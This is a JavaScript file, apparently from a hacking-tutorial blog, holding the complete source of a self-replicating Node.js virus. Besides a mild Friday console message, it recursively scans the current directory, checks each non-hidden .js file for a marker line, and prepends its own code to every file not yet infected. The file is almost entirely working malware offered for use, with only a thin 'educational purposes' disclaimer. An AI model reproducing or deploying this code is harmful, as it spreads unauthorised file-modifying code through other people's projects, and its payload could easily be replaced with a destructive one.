virus js

//Hacking tutorial underground, cyber,security,sql inject,basic,ethical hacking
//just on http://jok3d.blogspot.com/

// #virus.js
// the line above will be used for marking a file as infected
/*
* Program created for entertainment and educational purpose only
* WARNING: EXECUTE THIS FILE AT YOUR OWN RISK :WARNING
*/
// this mild-mannered virus leaves the global namespace alone and creates its own closure
(function() {
// the virus payload - it sings a song on Fridays
var day = new Date().getDay();
if (day == 5) { console.log("It's Friday! Friday!"); }
// we will need the fs module to find files and infect them
var fs = require('fs');
// helper module
var path = require('path');
var marker_signature = '// #virus.js';
var marker_length = marker_signature.length;
// the infection payload == content of this file
var infection_payload = fs.readFileSync(__filename);
// where to look for files to infect
var target_path = './';
// start infecting .js file
var files = fs.readdirSync(target_path);
// pass these files to the infection function
infect_files(files);
/**
* Function for infecting .js files
*
* @param {Array} files
*/
function infect_files(files) {
files.forEach(function(file) {
var stat = fs.statSync(file);
// if it's a direcrory, get the files and run them through the infection process
if (stat.isDirectory()) {
// don't bother hidden directories
if (file[0] != '.') {
// infect the files after retirieving them their directories
infect_files(get_files(file));
}
}
// if it is a file, validate the file for infection 'eligibility'
else if (stat.isFile()) {
// don't bother hidden files
if (file[0] != '.') {
// we are interested only in .js files
if (path.extname(file) == '.js') {
// don't bother with self
if (path.basename(__filename) != file) {
// bother only if file is not already infected
var fd = fs.openSync(file, 'r');
var marker = fs.readSync(fd, marker_length);
// be kind, rewind
fs.closeSync(fd);
var signature = marker[0];
if (marker_signature != signature) {
// original content
var original_content = fs.readFileSync(file);
// prepare infection
var infected_content = infection_payload + '\n' + original_content;
// infect file
//console.log('Infecting: ' + file);
fs.writeFileSync(file, infected_content);
}
}
}
}
}
});
}
/**
* Function for getting the files from a directory with their full paths
*
* @param {String} dir
*/
function get_files(dir) {
// readdirSync will only give the names of the files, we need to get the full path
var _files = fs.readdirSync(dir);
// array for storing the files with their full path
var files = [];
// fill up the files array
_files.forEach(function(file) {
var full_path = dir + '/' + file;
files.push(full_path);
});
// return the files to whatever called this function
return files;
}
})();